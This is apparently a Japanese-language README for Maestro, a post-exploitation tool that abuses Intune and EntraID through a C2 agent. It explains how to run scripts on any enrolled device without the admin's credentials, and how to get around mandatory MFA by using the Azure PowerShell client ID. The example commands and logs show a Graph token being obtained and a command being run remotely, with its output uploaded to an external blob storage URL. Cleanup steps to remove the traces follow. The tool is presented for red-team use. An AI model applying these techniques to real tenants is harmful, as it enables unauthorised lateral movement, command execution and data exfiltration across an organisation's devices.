
Abusing Azure services over C2
Maestro は、ユーザーのパスワードや Azure 認証フロー、トークン操作、Web ベースの管理コンソールを必要とせずに、ユーザーのワークステーション上の C2 エージェントから Intune/EntraID と対話するように設計されたポストエクスプロイテーションツールです。
Maestro を使用すると、C2 から Intune および EntraID(および場合によっては他の Azure サービス)との対話がはるかに容易になります。オペレーターは、ログイン中のユーザーに代わって Azure でアクションを実行するために、ユーザーの平文パスワードを取得したり、システムからプライマリ リフレッシュ トークン(PRT)Cookie を抽出したり、SOCKS プロキシ経由で追加のツールやブラウザセッションを実行したり、Azure 認証フロー、トークン、条件付きアクセスポリシーを処理したりする必要がないからです。
Maestro は、本質的にはローカル PRT Cookie リクエストと Microsoft Graph API 呼び出しのラッパーであり、レッドチーム向けの使いやすさを向上させる多くの機能が追加されています。Maestro は、オンプレミスと Azure の間の攻撃経路を可能にします。たとえば、Intune 管理者のマシン上で Maestro を実行すると、管理者の資格情報を一切知らなくても、任意の登録済みデバイス上で PowerShell スクリプトを実行できます。条件付きアクセスポリシーで MFA、デバイス コンプライアンス、ハイブリッド参加デバイスが要求されている場合でも同様です。
Maestro の横移動機能は、Andy Robbins(@_wald0)による Death from Above:Azure からオンプレミス AD への横移動 に触発されました。
詳細については、Maestro の紹介ブログ記事(https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/)をご覧ください。
このリポジトリには、ReleasePlusMSAL ビルド構成を使用したコンパイル済みリリースが含まれています。この構成は MSAL の依存関係を .exe にマージしますが、結果として得られるバイナリのサイズが大幅に増加することに注意してください。-m 2 のアクセストークン要求方法(MSAL 経由の SharpGetEntraToken)を使用する予定がない場合は、Release ビルドをコンパイルすれば、サイズを大幅に削減できます。
2025 年 2 月の時点で、Microsoft は Azure Portal とその拡張機能への認証に対して MFA の必須化を展開しています。この場合、認証コードフローを使用するデフォルトのアクセストークン要求方法は失敗する可能性が高いですが、SharpGetEntraToken/MSAL(-m 2 オプション)を使用し、Azure PowerShell(1950a258-227b-4e31-a9cf-717495945fc2)のように MFA を必要としないクライアント ID を指定すれば、引き続き機能するはずです。
Maestro.exe <command> [subcommand] [options]
すべてのコマンドとサブコマンドには、バイナリのサイズを最小限に抑えるためにカスタムコマンドライン パーサーで生成されたヘルプページがあります。任意の Maestro コマンドの後に -h または --help を入力すると、ヘルプページにアクセスできます。
最新の使用法については、各コマンドの --help オプションの出力を参照してください。
使用例はこのファイルの末尾にあります。
デバッグのために、Visual Studio を実行しているホストからアクセスできるディレクトリを Intune 登録済みマシン上で共有し、Visual Studio リモートデバッガーを実行し、ソリューションファイルを共有にコピーするポストビルドジョブを構成し、登録済みシステム上でリモートデバッグするように Visual Studio を構成しています。
Maestro の調査、開発、改善に費やすことができる時間は、SpecterOps による、透明性への取り組みとオープンソース開発のサポートの一環としてのプロジェクトへのスポンサーシップなしには実現し得ませんでした。その指導とサポートに心から感謝しています。
Maestro の一部の機能は、以下のような他の開発者の成果に触発されたもの、またはそれを基に構築されたものです:
コラボレーションに興味があれば、Twitter(@_Mayyhem)または BloodHoundGang Slack でお気軽にご連絡ください!
MSAL と Azure PowerShell クライアント ID を使用して MS Graph のアクセストークンを取得します(まだ必須 MFA による制限を受けていません):
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO] Execution started
2025-02-06 21:09:24.810 UTC - [INFO] MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO] SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO] SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO] Completed execution in 00:00:01.3203797
ID e537180b-6d04-427e-bf93-dbde818400eb の Intune デバイス上で dsregcmd.exe を実行し、共有アクセストークン付きの Azure Storage Blob コンテナー SAS URL に結果をアップロードします:
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO] Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO] Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO] Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO] Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO] Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO] Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO] Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO] Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO] Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO] Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO] Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO] Not syncing automatically, execute the following to force device sync:
.\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb
Clean up after execution:
.\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
.\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.999 UTC - [INFO] Completed execution in 00:00:04.8572902